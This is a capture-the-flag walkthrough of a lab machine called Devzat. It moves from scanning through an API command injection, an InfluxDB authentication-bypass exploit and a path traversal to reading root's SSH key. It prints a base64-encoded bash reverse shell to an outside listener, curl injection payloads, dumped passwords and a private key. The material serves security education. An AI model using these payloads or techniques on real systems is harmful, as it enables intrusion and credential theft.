Devzat
16 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.118
- Release: 16 / 10 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.118 -p 22,80,8000
Nmap scan report for 10.10.11.118
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: devzat - where the devs at
8000/tcp open ssh (protocol 2.0)
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 37.59 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 8000 (SSH) open.
Enumeration
First, we can read the contents of the website on port 80 (going directly to the IP address redirects to devzat.htb
), which is the following:
They have developed a chat over SSH. To use it, we just need the next command:
Exploring the SSH chat
After some exploration and fuzzing, we discover that there are some chat commands:
$ ssh -l asdf devzat.htb -p 8000
Welcome to the chat. There are no more users
devbot: asdf has joined the chat
asdf: /help
[SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat
[SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from anywhere.
[SYSTEM]
[SYSTEM] Interesting features:
[SYSTEM] • Many, many commands. Run /commands.
[SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room.
[SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place of newlines.
[SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code to see an example.
[SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running /room @user.
[SYSTEM] • Timezone support, use /tz Continent/City to set your timezone.
[SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new games.
[SYSTEM] • Emoji replacements! (like on Slack and Discord)
[SYSTEM]
[SYSTEM] For replacing newlines, I often use bulkseotools.com/add-remove-line-breaks.php.
[SYSTEM]
[SYSTEM] Made by Ishan Goel with feature ideas from friends.
[SYSTEM] Thanks to Caleb Denio for lending his server!
[SYSTEM]
[SYSTEM] For a list of commands run
[SYSTEM] ┃ /commands
asdf: /commands
[SYSTEM] Commands
[SYSTEM] clear - Clears your terminal
[SYSTEM] message - Sends a private message to someone
[SYSTEM] users - Gets a list of the active users
[SYSTEM] all - Gets a list of all users who has ever connected
[SYSTEM] exit - Kicks you out of the chat incase your client was bugged
[SYSTEM] bell - Toggles notifications when you get pinged
[SYSTEM] room - Changes which room you are currently in
[SYSTEM] id - Gets the hashed IP of the user
[SYSTEM] commands - Get a list of commands
[SYSTEM] nick - Change your display name
[SYSTEM] color - Change your display name color
[SYSTEM] timezone - Change how you view time
[SYSTEM] emojis - Get a list of emojis you can use
[SYSTEM] help - Get generic info about the server
[SYSTEM] tictactoe - Play tictactoe
[SYSTEM] hangman - Play hangman
[SYSTEM] shrug - Drops a shrug emoji
[SYSTEM] ascii-art - Bob ross with text
[SYSTEM] example-code - Hello world!
The chat is using Markdown to format the messages. As a curiosity, we can receive a connection to our machine entering the syntax for an image and pointing to our server:
![](http://10.10.17.44)
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.118.
Ncat: Connection from 10.10.11.118:52632.
GET / HTTP/1.1
Host: 10.10.17.44
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
The only thing we get from this connection is that the SSH chat is built with Go.
After trying some command injection payloads and trying to escape from the SSH chat context, we can assume that the chat is secure and there are no clear vulnerabilities.
Finding subdomains
The main website (devzat.htb
) only contains information about the SSH chat. Taking into account that the Apache server is redirecting to devzat.htb
(as a virtual host), maybe there are more virtual hosts. We can look for new subdomains using ffuf
applied to the Host
HTTP header:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.118 -H 'Host: FUZZ.devzat.htb' -fc 302
pets [Status: 200, Size: 510, Words: 20, Lines: 21]
And then, we get that pets.devzat.htb
is a valid subdomain:
Here we can find a list of animals with their name, their species and a description of the corresponding species. There is an option to add a new animal using the following form:
Foothold
The POST request is done by JavaScript (Svelte) behind the scenes (using AJAX). Looking at the request with the browser developer tools, we can craft the same request in curl
:
$ curl pets.devzat.htb/api/pet -d '{"name":"asdf","species":"cat"}'
Pet was added successfully
Exploiting a command injection
Here there is no much more to do. We can try to inject commands in both fields (name
and species
), and finally we get that species
is vulnerable:
$ curl pets.devzat.htb/api/pet -d '{"name":"asdf","species":"`curl 10.10.17.44`"}'
Pet was added successfully
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.118.
Ncat: Connection from 10.10.11.118:58916.
GET / HTTP/1.1
Host: 10.10.17.44
User-Agent: curl/7.68.0
Accept: */*
Hence, we can use the command injection to get Remote Code Execution (RCE) and get foothold on the machine (using nc
):
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl pets.devzat.htb/api/pet -d '{"name":"asdf","species":"`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash`"}'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.118.
Ncat: Connection from 10.10.11.118:53090.
bash: cannot set terminal process group (931): Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
patrick@devzat:~/pets$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
patrick@devzat:~/pets$ export TERM=xterm
patrick@devzat:~/pets$ export SHELL=bash
patrick@devzat:~/pets$ stty rows 50 columns 158
System enumeration
We have entered to the machine as user patrick
:
patrick@devzat:~/pets$ ls /home
catherine patrick
There is another user called catherine
.
We can list open ports using netstat
(it will also show internal ports that are not reported by nmap
):
patrick@devzat:~/pets$ netstat -nat | grep LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::8000 :::* LISTEN
Another option is to read from /proc/net/tcp
and translate the port numbers from hexadecimal to decimal using some shell scripting:
patrick@devzat:~/pets$ for p in $(cat /proc/net/tcp | grep -v sl | awk '{print $2}' | awk -F : '{print $2}' | sort -u); do echo "ibase=16; $p" | bc; done
22
53
5000
8086
8443
42582
51994
55686
We find that ports 8086 and 8443 are open but not exposed, because nmap
did not report them as open.
Listing processes that are running, we discover a Docker container that exposes port 8086 and hosts InfluxDB:
patrick@devzat:~/pets$ ps -faux | grep root
...
root 997 0.0 0.2 8880 4740 ? Ss 08:37 0:01 /usr/sbin/apache2 -k start
root 1020 0.0 4.5 946772 91900 ? Ssl 08:37 0:04 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1238 0.0 0.1 475324 3880 ? Sl 08:37 0:00 \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8086 -container-ip 172.17.0.2 -container-port 8086
root 1271 0.0 0.3 113372 7940 ? Sl 08:37 0:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 0962e39dbfea62142f5f9e796a0fa5bd6df0c14a31f3786e03b720ea158cf462 -address /run/containerd/containerd.sock
root 1296 0.1 2.8 554212 57816 ? Ssl 08:37 0:29 \_ influxd
root 9672 0.0 0.4 249544 9628 ? Ssl 09:14 0:00 /usr/lib/upower/upowerd
On the other hand, we can find ZIP files owned by catherine
, and we have no permissions over those files:
patrick@devzat:~/pets$ find / -user catherine 2>/dev/null | grep -v home | xargs ls -l
-rw------- 1 catherine catherine 28297 Jul 16 2021 /var/backups/devzat-dev.zip
-rw------- 1 catherine catherine 27567 Jul 16 2021 /var/backups/devzat-main.zip
Lateral movement to user catherine
Moreover, we can search recursively for the string catherine
in patrick
’s files, and obtain an interesting Go script:
patrick@devzat:~/pets$ cd
patrick@devzat:~$ grep -nri catherine .
Binary file ./devzat/devchat matches
./devzat/devchat.go:273: for possibleName == "patrick" || possibleName == "admin" || possibleName == "catherine" {
./devzat/devchat.go:302: } else if strings.ToLower(u.name) == "catherine" {
./devzat/devchat.go:303: u.writeln("patrick", "Hey Catherine, glad you came.")
./devzat/devchat.go:304: u.writeln("catherine", "Hey bud, what are you up to?")
./devzat/devchat.go:306: u.writeln("catherine", "Sure")
./devzat/devchat.go:308: u.writeln("catherine", "Kinda busy right now :necktie:")
./devzat/devchat.go:310: u.writeln("catherine", "k")
./devzat/devchat.go:312: u.writeln("catherine", "Fine. As soon as the boss let me off the leash I will check it out.")
Binary file ./.cache/go-build/f1/f10fd574fd735d6eff3807c126e13ddbd8a5968e6c6c9f77c7f0026c370c81df-d matches
Binary file ./.cache/go-build/70/70092305916ce0b492b14dafb1c95707ce96d17aaadf07c619cb526bf1b24b7f-d matches
Binary file ./pets/petshop matches
./pets/go.mod:1:module git.devzat.htb/catherine/petshop
The script devchat.go
contains some old messages (maybe as a reminder) from users admin
, patrick
and catherine
(using the SSH chat):
// ...
if strings.ToLower(u.name) == "patrick" {
u.writeln("admin", "Hey patrick, you there?")
u.writeln("patrick", "Sure, shoot boss!")
u.writeln("admin", "So I setup the influxdb for you as we discussed earlier in business meeting.")
u.writeln("patrick", "Cool :thumbs_up:")
u.writeln("admin", "Be sure to check it out and see if it works for you, will ya?")
u.writeln("patrick", "Yes, sure. Am on it!")
u.writeln("devbot", "admin has left the chat")
} else if strings.ToLower(u.name) == "admin" {
u.writeln("admin", "Hey patrick, you there?")
u.writeln("patrick", "Sure, shoot boss!")
u.writeln("admin", "So I setup the influxdb for you as we discussed earlier in business meeting.")
u.writeln("patrick", "Cool :thumbs_up:")
u.writeln("admin", "Be sure to check it out and see if it works for you, will ya?")
u.writeln("patrick", "Yes, sure. Am on it!")
} else if strings.ToLower(u.name) == "catherine" {
u.writeln("patrick", "Hey Catherine, glad you came.")
u.writeln("catherine", "Hey bud, what are you up to?")
u.writeln("patrick", "Remember the cool new feature we talked about the other day?")
u.writeln("catherine", "Sure")
u.writeln("patrick", "I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.")
u.writeln("catherine", "Kinda busy right now :necktie:")
u.writeln("patrick", "That's perfectly fine :thumbs_up: You'll need a password I gave you last time.")
u.writeln("catherine", "Ok")
u.writeln("patrick", "I left the source for your review in backups.")
u.writeln("catherine", "Fine. As soon as the boss let me off the leash I will check it out.")
u.writeln("patrick", "Cool. I am very curious what you think of it. See ya!")
u.writeln("devbot", "patrick has left the chat")
}
// ...
Now we can confirm that the next steps are messing around with InfluxDB to find something that allows us to login as catherine
and then decompress the ZIP files.
CVE for InfluxDB
InfluxDB is a database written in Go that exposes an HTTP API on port 8086 (by default). According to the official documentation, we can interact with InfluxDB using the command line interface influx
or directly with curl
.
Let’s try using influx
. For that, we need to transfer the influx
binary to the machine:
patrick@devzat:~$ cd /tmp
patrick@devzat:/tmp$ curl 10.10.17.44/influx -so influ
patrick@devzat:/tmp$ chmod +x influx
patrick@devzat:/tmp$ alias influx=/tmp/influx
We have used an alias
to use influx
as a system command. However, influx
is not working. It seems that it does not recognizes the InfluxDB instance, or maybe there is some issue with authentication:
patrick@devzat:/tmp$ influx version
Influx CLI 2.0.9 (git: d1233b7951) build_date: 2021-10-01T21:09:53Z
patrick@devzat:/tmp$ influx ping
Error: Got 404 from 'http://localhost:8086/health'.
Error: 404 page not found.
See 'influx ping -h' for help
patrick@devzat:~$ influx query
Error: Must specify org-id, or org name.
Error: 404 page not found.
See 'influx query -h' for help
patrick@devzat:~$ influx setup -o asdf -t 1234
Error: failed to determine if instance has been configured: 404 page not found
See 'influx setup -h' for help
After that, we can try with curl
, using the local IP address or the Docker container IP address, but again it does not work:
patrick@devzat:~$ curl http://localhost:8086
404 page not found
patrick@devzat:~$ curl http://localhost:8086/
404 page not found
patrick@devzat:~$ curl http://localhost:8086/api/v2/setup
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2/setup
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v1/setup
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v1
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2/users
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2/query
Method Not Allowed
patrick@devzat:~$ curl -XPOST http://172.17.0.2:8086/api/v2/query
Flux query service disabled. Verify flux-enabled=true in the [http] section of the InfluxDB config.
patrick@devzat:~$ curl -XPOST http://172.17.0.2:8086/api/v2/write
404 page not found
Doing some research on InfluxDB vulnerabilities, we discover an exploit for CVE-2019-20933. This is a Python script that does a bruteforce attack on the username and then handles a connection to the InfluxDB database.
After transfering the exploit to the machine (and removing some dependencies that are not actually needed) we can enumerate the database. An useful command cheatsheet for InfluxDB can be found here.
patrick@devzat:/tmp$ curl 10.10.17.44/__main__.py -so x.py
patrick@devzat:/tmp$ cat > wordlist
patrick
admin
catherine
devzat
^C
patrick@devzat:/tmp$ python3 x.py
Insert ip host (default localhost):
Insert port (default 8086):
Insert influxdb user (wordlist path to bruteforce username): ./wordlist
Start username bruteforce
[x] patrick
[v] admin
Host vulnerable !!!
Databases list:
1) devzat
2) _internal
Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db): SHOW MEASUREMENTS
{
"results": [
{
"series": [
{
"columns": [
"name"
],
"name": "measurements",
"values": [
[
"user"
]
]
}
],
"statement_id": 0
}
]
}
[devzat] Insert query (exit to change db): SHOW FIELD KEYS FROM "user"
{
"results": [
{
"series": [
{
"columns": [
"fieldKey",
"fieldType"
],
"name": "user",
"values": [
[
"enabled",
"boolean"
],
[
"password",
"string"
],
[
"username",
"string"
]
]
}
],
"statement_id": 0
}
]
}
[devzat] Insert query (exit to change db): SELECT * FROM "user"
{
"results": [
{
"series": [
{
"columns": [
"time",
"enabled",
"password",
"username"
],
"name": "user",
"values": [
[
"2021-06-22T20:04:16.313965493Z",
false,
"WillyWonka2021",
"wilhelm"
],
[
"2021-06-22T20:04:16.320782034Z",
true,
"woBeeYareedahc7Oogeephies7Aiseci",
"catherine"
],
[
"2021-06-22T20:04:16.996682002Z",
true,
"RoyalQueenBee$",
"charles"
]
]
}
],
"statement_id": 0
}
]
}
And we have got some passwords. Now, we can try to login with credentials catherine:woBeeYareedahc7Oogeephies7Aiseci
.
Provided the password, we can read the user.txt
flag:
patrick@devzat:/tmp$ su catherine
Password:
catherine@devzat:/tmp$ cd
catherine@devzat:~$ cat user.txt
67a4643d026d2adced0fd951ea2eb5a9
Now that we are catherine
, let’s see if we have sudo
permissions:
catherine@devzat:~$ sudo -l
[sudo] password for catherine:
Sorry, user catherine may not run sudo on devzat.
Privilege escalation
We recall the ZIP files owned by catherine
that contained two versions of the SSH chat:
catherine@devzat:~$ cd /var/backups/
catherine@devzat:/var/backups$ ll
total 1128
drwxr-xr-x 2 root root 4096 Mar 9 06:25 ./
drwxr-xr-x 14 root root 4096 Jun 22 2021 ../
-rw-r--r-- 1 root root 51200 Mar 9 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 59142 Sep 28 18:45 apt.extended_states.0
-rw-r--r-- 1 root root 6588 Sep 21 20:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root 6602 Jul 16 2021 apt.extended_states.2.gz
-rw------- 1 catherine catherine 28297 Jul 16 2021 devzat-dev.zip
-rw------- 1 catherine catherine 27567 Jul 16 2021 devzat-main.zip
-rw-r--r-- 1 root root 268 Sep 29 11:46 dpkg.diversions.0
-rw-r--r-- 1 root root 170 Jul 16 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 949034 Jan 26 14:52 dpkg.status.0
catherine@devzat:/var/backups$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...
We can transfer the ZIP files to our machine opening a web server with Python on port 7000:
$ wget -q devzat.htb:7000/devzat-{main,dev}.zip
catherine@devzat:/var/backups$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...
10.10.17.44 - - [] "GET /devzat-main.zip HTTP/1.1" 200 -
10.10.17.44 - - [] "GET /devzat-dev.zip HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
And then decompress them:
$ unzip devzat-dev.zip
Archive: devzat-dev.zip
creating: dev/
inflating: dev/go.mod
extracting: dev/.gitignore
inflating: dev/util.go
inflating: dev/testfile.txt
inflating: dev/eastereggs.go
inflating: dev/README.md
inflating: dev/games.go
inflating: dev/colors.go
extracting: dev/log.txt
inflating: dev/commands.go
inflating: dev/start.sh
inflating: dev/devchat.go
inflating: dev/LICENSE
inflating: dev/commandhandler.go
inflating: dev/art.txt
inflating: dev/go.sum
extracting: dev/allusers.json
$ unzip devzat-main.zip
Archive: devzat-main.zip
creating: main/
inflating: main/go.mod
extracting: main/.gitignore
inflating: main/util.go
inflating: main/eastereggs.go
inflating: main/README.md
inflating: main/games.go
inflating: main/colors.go
extracting: main/log.txt
inflating: main/commands.go
inflating: main/start.sh
inflating: main/devchat.go
inflating: main/LICENSE
inflating: main/commandhandler.go
inflating: main/art.txt
inflating: main/go.sum
inflating: main/allusers.json
Analyzing new features of the chat
Now that we have the two folders, we can use diff
to view the changes along files:
$ diff main dev
diff main/allusers.json dev/allusers.json
1,3c1
< {
< "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
< }
---
> {}
diff main/commands.go dev/commands.go
3a4
> "bufio"
4a6,7
> "os"
> "path/filepath"
36a40
> file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
38c42,101
< commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
---
> commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
> }
>
> func fileCommand(u *user, args []string) {
> if len(args) < 1 {
> u.system("Please provide file to print and the password")
> return
> }
>
> if len(args) < 2 {
> u.system("You need to provide the correct password to use this function")
> return
> }
>
> path := args[0]
> pass := args[1]
>
> // Check my secure password
> if pass != "CeilingCatStillAThingIn2021?" {
> u.system("You did provide the wrong password")
> return
> }
>
> // Get CWD
> cwd, err := os.Getwd()
> if err != nil {
> u.system(err.Error())
> }
>
> // Construct path to print
> printPath := filepath.Join(cwd, path)
>
> // Check if file exists
> if _, err := os.Stat(printPath); err == nil {
> // exists, print
> file, err := os.Open(printPath)
> if err != nil {
> u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
> return
> }
> defer file.Close()
>
> scanner := bufio.NewScanner(file)
> for scanner.Scan() {
> u.system(scanner.Text())
> }
>
> if err := scanner.Err(); err != nil {
> u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
> }
>
> return
>
> } else if os.IsNotExist(err) {
> // does not exist, print error
> u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
> return
> }
> // bokred?
> u.system("Something went badly wrong.")
diff main/devchat.go dev/devchat.go
27c27
< port = 8000
---
> port = 8443
114c114
< fmt.Sprintf(":%d", port),
---
> fmt.Sprintf("127.0.0.1:%d", port),
Only in dev: testfile.txt
It seems that the new feature allows to print the contents of a given file from the current working directory. To execute the command, we need to provide CeilingCatStillAThingIn2021?
as a password.
The other noticeable difference is that the development chat is running on port 8443 internally.
Obtaining the private SSH key for root
First, we can try to load the previously created file /tmp/wordlist
:
catherine@devzat:/var/backups$ ssh -l asdf 127.0.0.1 -p 8443
Welcome to the chat. There are no more users
devbot: asdf has joined the chat
asdf: /file
[SYSTEM] Please provide file to print and the password
asdf: /file /tmp/wordlist CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/tmp/wordlist does not exist!
We see that /tmp/wordlist
is being concatenated to /root/devzat
. This tells us that the chat is being run by root
, and thus we have read privileges.
To gain access as root
we can read the private SSH key performing a Directory Path Traversal (i.e. providing ../.ssh/id_rsa
as file to load, so that the requested file is /root/devzat/../.ssh/id_rsa
, which equals /root/.ssh/id_rsa
):
asdf: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[SYSTEM] QyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqAAAAJiUCzUclAs1
[SYSTEM] HAAAAAtzc2gtZWQyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqA
[SYSTEM] AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
[SYSTEM] Q0ekw7ZzIOJu9Fn+tsKoAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg==
[SYSTEM] -----END OPENSSH PRIVATE KEY-----
We can save this key, and connect as root
using SSH (with no password). Finally, we are able to read the root.txt
flag:
$ chmod 600 id_rsa
$ ssh -i id_rsa root@devzat.htb
root@devzat:~# cat root.txt
e165e399c6a2c920a406997193f68a43